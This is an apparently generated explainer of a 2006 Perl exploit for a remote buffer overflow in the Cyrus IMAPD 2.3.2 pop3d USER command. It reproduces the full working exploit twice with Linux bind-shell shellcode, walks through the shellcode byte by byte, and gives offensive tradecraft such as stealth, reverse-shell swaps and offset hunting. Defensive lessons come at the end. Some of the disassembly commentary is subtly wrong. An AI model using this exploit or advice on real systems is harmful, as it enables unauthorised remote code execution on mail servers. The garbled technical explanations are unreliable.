Explaining the Cyrus IMAPD 2.3.2 'pop3d' Remote Buffer Overflow Exploit

What this paper is

This paper details a remote buffer overflow vulnerability in the POP3 daemon (pop3d) of Cyrus IMAPD version 2.3.2. The exploit, written in Perl, demonstrates how to leverage this vulnerability to execute arbitrary code on a vulnerable server. The author, K-sPecial, developed this exploit because they found existing public exploits for this vulnerability did not work for them, leading them to create their own.

Simple technical breakdown

The vulnerability lies in how pop3d handles the USER command. When a user provides a username, the program copies it into a fixed-size buffer without properly checking its length. If the provided username is longer than the buffer, it overflows, overwriting adjacent memory.

This exploit crafts a malicious USER command. It includes:

1. Shellcode: This is the actual malicious code that will be executed on the target.
2. Padding: A large number of bytes are sent to fill the buffer and reach the critical overwrite point.
3. Overwrite Value: A specific memory address is sent to overwrite the instruction pointer (EIP) or a similar control mechanism, redirecting program execution to the shellcode.

The exploit targets a specific memory location within the .data or .bss segment of the pop3d process. This location is chosen because it's writable and executable, and importantly, it's not accessed by other critical functions before the vulnerable code returns, thus preventing a crash before the shellcode can run.

Complete code and payload walkthrough

#!/usr/bin/perl
## Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
## Name: bid-18056.pl
## Date: 08/12/2006
## 
## Description: this is yet another exploit for the cyrus pop3d buffer overflow. I tried both public
##  exploits and not either of them worked (not that they don't but coding my own is generaly faster
##  and easier) so I coded my own. The exploit by kcope seems to be done right and maybe i just got realy
##  unlucky and missed the offset in between the 5 runs i gave it. The one from bannedit was interesting...
##  realy nice idea about overwriting the pointer and sticking your shellcode in GOT. Only problem is that
##  when i was writing this exploit with the same method, and i placed my shellcode in GOT, functions before
##  the return from the vuln function where segfaulting first by trying to actualy *use* the GOT! So what I have
##  done here is used the same method, yet found a data area that is not going to freak pop3d
##  out before it gets to the return. Specificy I use part of the .data segment (or was it .bss, anyways) labeled
##  'buf'. With this the same one-offset-per-machine is gained that bannedit was achieving. 
##
## Other: Basicly what all this means, is you just have to give an offset that is a location in memory that
##  is writeable and executable (anything in .data, .bss, .stack, .heap, etc) and make sure it's not something
##  that will need to be used by functions in pop3d before popd_canon_user() returns and hence executes your
##  shellcode (because it'll segfault and won't get executed).
##
## Note: bindport is 13370
#################################################################################################################
use IO::Socket;
use strict;

my $host = $ARGV[0] || help();
my $offset = $ARGV[1] || help();
my $port = 110;

# stollen from cyruspop3d.c because this actualy worked, i couldn't get any
# metasploit sc to work (as usualy, hmph)
my $shellcode = 
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96".
"\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56".
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1".
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0".
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53".
"\x89\xe1\xcd\x80";

my $sock = IO::Socket::INET->new('PeerAddr' => $host,
                                 'PeerPort' => $port) or die ("-!> unable to connect to '$host:$port': $!\n");

$sock->autoflush();

print $sock "USER ";                       ## begin USER command with just that
print $sock "$shellcode";                  ## shellcode is *userbuf is *user
print $sock pack('l', hex($offset)) x 120; ## location overwrites EIP and *out, userbuf/user written to *out
print $sock "\n";                          ## that simple

sub help {
	print "bid-18056.pl by K-sPecial (xzziroz.net) of .aware (awarenetwork.org)\n";
	print "08/12/2006\n\n";
	print "perl $0 \$host \$offset\n\n";
	
	print "Offsets: \n";
	print "0x8106c20 (debian 3.1 - 2.6.16-rc6)\n";

	exit(0);
}

# milw0rm.com [2006-08-14]

*   **Stage 1 (Initialization):** Sets up registers, potentially for system calls.
*   **Stage 2 (Socket Creation/Binding):** Creates a network socket. The `\x34\x3a` might indicate a port number (13370, as mentioned in the comments). It likely sets up a *bind* shell.
*   **Stage 3 (Execve):** Executes `/bin/sh` to provide a command shell.

my $sock = IO::Socket::INET->new('PeerAddr' => $host, 'PeerPort' => $port) or die ("-!> unable to connect to '$host:$port': $!\n"); | Establishes a TCP connection to the target host and port.
$sock->autoflush(); | Ensures that data sent to the socket is immediately transmitted.
print $sock "USER "; | Sends the literal string "USER " to the server. This initiates the POP3 USER command.
print $sock "$shellcode"; | Sends the shellcode as part of the username. This is the initial payload that will be copied into the vulnerable buffer.
print $sock pack('l', hex($offset)) x 120; | This is the core of the overflow.
* hex($offset): Converts the hexadecimal offset string (e.g., "0x8106c20") into an integer.
* pack('l', ...): Packs the integer into a 4-byte little-endian representation (standard for x86).
* x 120: Repeats this 4-byte value 120 times. This large block of repeated values serves two purposes:
1. It fills the remaining space in the vulnerable buffer after the shellcode.
2. Crucially, the last few bytes of this repeated value will overwrite the return address (EIP) on the stack, pointing it to the shellcode. The exact number of repetitions needed depends on the buffer size and the offset to EIP.
print $sock "\n"; | Sends a newline character, which typically signifies the end of a POP3 command. This triggers the vulnerable code path in pop3d.
sub help { ... } | A subroutine that prints usage instructions and known offsets if the script is run without arguments or with incorrect arguments.
print "Offsets: \n"; print "0x8106c20 (debian 3.1 - 2.6.16-rc6)\n"; | Provides a specific offset value that was found to work for a particular system configuration. This highlights the need for architecture and OS-specific offsets.

Shellcode Breakdown (Conceptual)

The provided shellcode is a common Linux x86 bind shell. Let's break down its likely functionality based on typical patterns:

• \x31\xdb: xor ebx, ebx - Clears the EBX register.

• \x53: push ebx - Pushes EBX (0) onto the stack.

• \x43: inc ebx - Increments EBX to 1.

• \x53: push ebx - Pushes EBX (1) onto the stack.

• \x6a\x02: push byte 0x2 - Pushes the syscall number for sys_socketcall (which is 102, but often accessed via socketcall which uses 0x66). This is likely preparing for socket(AF_INET, SOCK_STREAM, IPPROTO_TCP).

• \x6a\x66: push byte 0x66 - Pushes the syscall number for socketcall (0x66).

• \x58: pop eax - Pops the value from the stack into EAX. EAX now holds 0x66 (syscall number for socketcall).

• \x99: cdq - Sign-extends EAX into EDX:EAX.

• \x89\xe1: mov ecx, esp - Moves the current stack pointer into ECX. This is often used as an argument pointer for sys_socketcall.

• \xcd\x80: int 0x80 - Triggers the Linux system call. This call likely creates a socket.

• \x96: xchg eax, esi - Swaps EAX and ESI. ESI now holds the socket file descriptor.

• \x43: inc ebx - Increments EBX to 2.

• \x52: push edx - Pushes EDX (which is 0, for IPPROTO_TCP).

• \x66\x68\x34\x3a: push word 0x3a34 - Pushes the port number 13370 (0x343a in little-endian).

• \x66\x53: push word 0x2 - Pushes the socket type SOCK_STREAM (2).

• \x89\xe1: mov ecx, esp - Moves the stack pointer to ECX, pointing to the arguments for bind.

• \x6a\x66: push byte 0x66 - Pushes the syscall number for socketcall (0x66).

• \x58: pop eax - Pops 0x66 into EAX.

• \x50: push eax - Pushes EAX back onto the stack.

• \x51: push ecx - Pushes the address of the socket structure onto the stack.

• \x56: push esi - Pushes the socket file descriptor onto the stack.

• \x89\xe1: mov ecx, esp - Moves the stack pointer to ECX, preparing for sys_socketcall.

• \xcd\x80: int 0x80 - Triggers sys_socketcall again, this time for bind(sock, &addr, sizeof(addr)).

• \xb0\x66: mov al, 0x66 - Sets AL to 0x66. This is likely preparing for sys_socketcall with SYS_LISTEN.

• \xd1\xe3: shl ebx, 1 - Shifts EBX left by 1. EBX was 2, now it's 4. This is likely the backlog argument for listen.

• \xcd\x80: int 0x80 - Triggers sys_socketcall for listen(sock, backlog).

• \x52: push edx - Pushes EDX (0).

• \x52: push edx - Pushes EDX (0).

• \x56: push esi - Pushes the socket file descriptor.

• \x43: inc ebx - Increments EBX to 5.

• \x89\xe1: mov ecx, esp - Moves the stack pointer to ECX, preparing for sys_socketcall with SYS_ACCEPT.

• \xb0\x66: mov al, 0x66 - Sets AL to 0x66 for sys_socketcall.

• \xcd\x80: int 0x80 - Triggers sys_socketcall for accept(sock, ...). The returned file descriptor for the accepted connection is likely in EAX.

• \x93: xchg eax, ebx - Swaps EAX (new connection fd) and EBX. EBX now holds the new connection file descriptor.

• \x6a\x02: push byte 0x2 - Pushes 2 (for dup2 syscall).

• \x59: pop ecx - Pops 2 into ECX.

• \xb0\x3f: mov al, 0x3f - Sets AL to 0x3f, the syscall number for dup2.

• \xcd\x80: int 0x80 - Calls dup2(new_fd, 0) to redirect stdin.

• \x49: dec ecx - Decrements ECX to 1.

• \x79\xf9: jns 0xff - Jumps if not signed (always true here, effectively a loop back to dup2). This will likely be used to dup2 standard output and standard error.

• \xb0\x0b: mov al, 0x0b - Sets AL to 0x0b, the syscall number for execve.

• \x52: push edx - Pushes EDX (0).

• \x68\x2f\x2f\x73\x68: push dword 0x68732f2f - Pushes "//sh" onto the stack.

• \x68\x2f\x62\x69\x6e: push dword 0x6e69622f - Pushes "/bin" onto the stack.

• \x89\xe3: mov ebx, esp - Moves the stack pointer to EBX, which is the argument for execve (path to executable).

• \x52: push edx - Pushes EDX (0) for the argv NULL terminator.

• \x53: push ebx - Pushes the address of the command string ("/bin//sh") onto the stack.

• \x89\xe1: mov ecx, esp - Moves the stack pointer to ECX, which is the argv pointer for execve.

• \xcd\x80: int 0x80 - Calls execve("/bin/sh", ["/bin/sh", NULL], [NULL]).

In summary, the shellcode:

1. Creates a TCP socket.
2. Binds it to port 13370 on all interfaces.
3. Listens for incoming connections.
4. Accepts a connection.
5. Duplicates the accepted connection's file descriptor to standard input, output, and error.
6. Executes /bin/sh, giving the attacker a shell on the target machine.

Practical details for offensive operations teams

• Required Access Level: Network access to the target host on port 110 (POP3). No prior authentication is required as this is an unauthenticated remote exploit.
• Lab Preconditions:
  • A vulnerable Cyrus IMAPD 2.3.2 installation running pop3d. This is crucial. The exploit is highly version-specific.
  • A Linux system (likely x86 architecture) to run the Perl exploit script.
  • Network connectivity between the attacker machine and the target on port 110.
  • The attacker machine must be able to receive incoming connections on port 13370 (or whatever bind port the shellcode uses) if a bind shell is successful.
• Tooling Assumptions:
  • Perl interpreter installed on the attacker machine.
  • IO::Socket Perl module available.
  • A network-capable machine for the attacker.
• Execution Pitfalls:
  • Offset Mismatch: The most significant pitfall. The $offset value is highly dependent on the exact version of Cyrus IMAPD, the operating system, the kernel version, and even the compilation flags. The provided offset (0x8106c20) is specific to "debian 3.1 - 2.6.16-rc6". Without the correct offset, EIP will not be overwritten with a valid address pointing to the shellcode, leading to a crash or unexpected behavior.
  • ASLR/DEP: While less prevalent in 2006, modern systems might have Address Space Layout Randomization (ASLR) or Data Execution Prevention (DEP) that could interfere with shellcode execution or make finding a reliable offset difficult. However, this exploit targets a .data or .bss segment, which might be less affected by ASLR than the stack.
  • Firewalls: Network firewalls might block the initial connection to port 110 or the subsequent connection back to the attacker's bind shell port (13370).
  • Service Restart: If the pop3d service crashes, it might automatically restart, but this depends on the server's configuration.
  • Shellcode Compatibility: The shellcode is for Linux x86. It will not work on other architectures or operating systems.
  • Buffer Size: The number of padding bytes (x 120) is an estimate. If the buffer size is slightly different, the overwrite might fail.
• Tradecraft Considerations:
  • Reconnaissance: Thoroughly identify the target OS, architecture, and exact version of Cyrus IMAPD. This is critical for determining the correct offset.
  • Offset Determination: If the provided offset doesn't work, manual offset calculation or fuzzing might be required. This involves sending varying amounts of data and observing crash addresses. Tools like GDB with a debugger attached to pop3d would be necessary.
  • Shellcode Customization: The bind shell port (13370) might be noisy or blocked. Customizing the shellcode to use a different port or a reverse shell might be more stealthy.
  • Stealth: The initial USER command might be logged. The exploit itself is noisy as it causes a crash or code execution. Post-exploitation activities would be key to maintaining persistence and stealth.
  • Error Handling: The exploit's error handling is basic (die on connection failure). Robustness for real-world scenarios would require more sophisticated error checking.

Where this was used and when

This exploit was published on August 14, 2006. Exploits of this nature were common in the mid-2000s, targeting vulnerabilities in widely deployed services like mail servers. Cyrus IMAP was a popular choice for mail infrastructure. The vulnerability itself would have existed in versions of Cyrus IMAP prior to a patch that corrected the buffer handling for the USER command in pop3d. It's likely this exploit was developed and potentially used by security researchers and potentially malicious actors during that period.

Defensive lessons for modern teams

• Patch Management: The most critical lesson is the importance of timely patching. This vulnerability was fixed in later versions of Cyrus IMAP. Keeping software updated is the primary defense against known exploits.
• Input Validation: Developers must rigorously validate all user inputs, especially when dealing with network services. Checking buffer lengths before copying data is fundamental.
• Secure Coding Practices: Employing secure coding guidelines and using static/dynamic analysis tools can help identify and prevent buffer overflow vulnerabilities during development.
• Network Segmentation and Firewalls: Limiting direct internet exposure of mail servers and implementing firewalls to restrict access to necessary ports (e.g., only allowing POP3 from specific internal networks) can reduce the attack surface.
• Intrusion Detection/Prevention Systems (IDS/IPS): Modern IDS/IPS solutions can detect patterns indicative of buffer overflow attempts, such as unusually long or malformed commands.
• Endpoint Detection and Response (EDR): EDR solutions can monitor process behavior for anomalies, such as unexpected code execution or network connections originating from unexpected processes.
• Memory Safety: While not directly applicable to this specific exploit's mitigation, modern systems often employ memory protection mechanisms (like ASLR, DEP) that make exploiting such vulnerabilities more challenging. However, these are not foolproof and should be part of a layered defense.

ASCII visual (if applicable)

This exploit involves a direct network interaction and memory manipulation. An ASCII visual can represent the flow of data and the target memory layout.

Attacker Machine                                    Target Server (Cyrus IMAP pop3d)
+-----------------+                                 +---------------------------------+
| Perl Exploit    |                                 |                                 |
| (bid-18056.pl)  |                                 | POP3 Daemon (pop3d)             |
|                 |                                 |                                 |
| 1. Connect to   |-------------------------------> | 1. Listens on Port 110            |
|    Port 110     |                                 |                                 |
|                 |                                 |                                 |
| 2. Send:        |                                 |                                 |
|    "USER "      |                                 |                                 |
|    [SHELLCODE]  |                                 |                                 |
|    [OFFSET x120]|-------------------------------> | 2. Receives "USER [SHELLCODE][OFFSET x120]\n" |
|    "\n"         |                                 |                                 |
|                 |                                 | 3. Vulnerable Code Path:        |
|                 |                                 |    - Copies "USER " + [SHELLCODE] |
|                 |                                 |      into a fixed buffer.       |
|                 |                                 |    - Buffer overflows.          |
|                 |                                 |    - [OFFSET x120] overwrites   |
|                 |                                 |      return address (EIP).      |
|                 |                                 |    - EIP now points to [SHELLCODE]|
|                 |                                 |                                 |
|                 |                                 | 4. POP3d Crashes or Executes    |
|                 |                                 |    [SHELLCODE]                  |
|                 |                                 |                                 |
|                 |                                 | 5. If Shellcode is Bind Shell:  |
|                 |                                 |    - Creates socket, binds to   |
|                 |                                 |      13370, listens, accepts.   |
|                 |                                 |    - Redirects stdin/stdout/err |
|                 |                                 |      to accepted connection.    |
|                 |                                 |    - Executes /bin/sh.          |
|                 |                                 |                                 |
| 3. If bind shell| <-------------------------------| 5. Attacker gets shell on Port  |
|    successful,  |                                 |    13370.                       |
|    shell on     |                                 |                                 |
|    Port 13370   |                                 |                                 |
+-----------------+                                 +---------------------------------+

Source references

• Original Exploit Paper: https://www.exploit-db.com/papers/2185
• Raw Exploit Code: https://www.exploit-db.com/raw/2185
• Cyrus IMAP Project: https://www.cyrusimap.org/

Original Exploit-DB Content (Verbatim)

#!/usr/bin/perl
## Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
## Name: bid-18056.pl
## Date: 08/12/2006
## 
## Description: this is yet another exploit for the cyrus pop3d buffer overflow. I tried both public
##  exploits and not either of them worked (not that they don't but coding my own is generaly faster
##  and easier) so I coded my own. The exploit by kcope seems to be done right and maybe i just got realy
##  unlucky and missed the offset in between the 5 runs i gave it. The one from bannedit was interesting...
##  realy nice idea about overwriting the pointer and sticking your shellcode in GOT. Only problem is that
##  when i was writing this exploit with the same method, and i placed my shellcode in GOT, functions before
##  the return from the vuln function where segfaulting first by trying to actualy *use* the GOT! So what I have
##  done here is used the same method, yet found a data area that is not going to freak pop3d
##  out before it gets to the return. Specificy I use part of the .data segment (or was it .bss, anyways) labeled
##  'buf'. With this the same one-offset-per-machine is gained that bannedit was achieving. 
##
## Other: Basicly what all this means, is you just have to give an offset that is a location in memory that
##  is writeable and executable (anything in .data, .bss, .stack, .heap, etc) and make sure it's not something
##  that will need to be used by functions in pop3d before popd_canon_user() returns and hence executes your
##  shellcode (because it'll segfault and won't get executed).
##
## Note: bindport is 13370
#################################################################################################################
use IO::Socket;
use strict;

my $host = $ARGV[0] || help();
my $offset = $ARGV[1] || help();
my $port = 110;

# stollen from cyruspop3d.c because this actualy worked, i couldn't get any
# metasploit sc to work (as usualy, hmph)
my $shellcode = 
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96".
"\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56".
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1".
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0".
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53".
"\x89\xe1\xcd\x80";

my $sock = IO::Socket::INET->new('PeerAddr' => $host,
                                 'PeerPort' => $port) or die ("-!> unable to connect to '$host:$port': $!\n");

$sock->autoflush();

print $sock "USER ";                       ## begin USER command with just that
print $sock "$shellcode";                  ## shellcode is *userbuf is *user
print $sock pack('l', hex($offset)) x 120; ## location overwrites EIP and *out, userbuf/user written to *out
print $sock "\n";                          ## that simple

sub help {
	print "bid-18056.pl by K-sPecial (xzziroz.net) of .aware (awarenetwork.org)\n";
	print "08/12/2006\n\n";
	print "perl $0 \$host \$offset\n\n";
	
	print "Offsets: \n";
	print "0x8106c20 (debian 3.1 - 2.6.16-rc6)\n";

	exit(0);
}

# milw0rm.com [2006-08-14]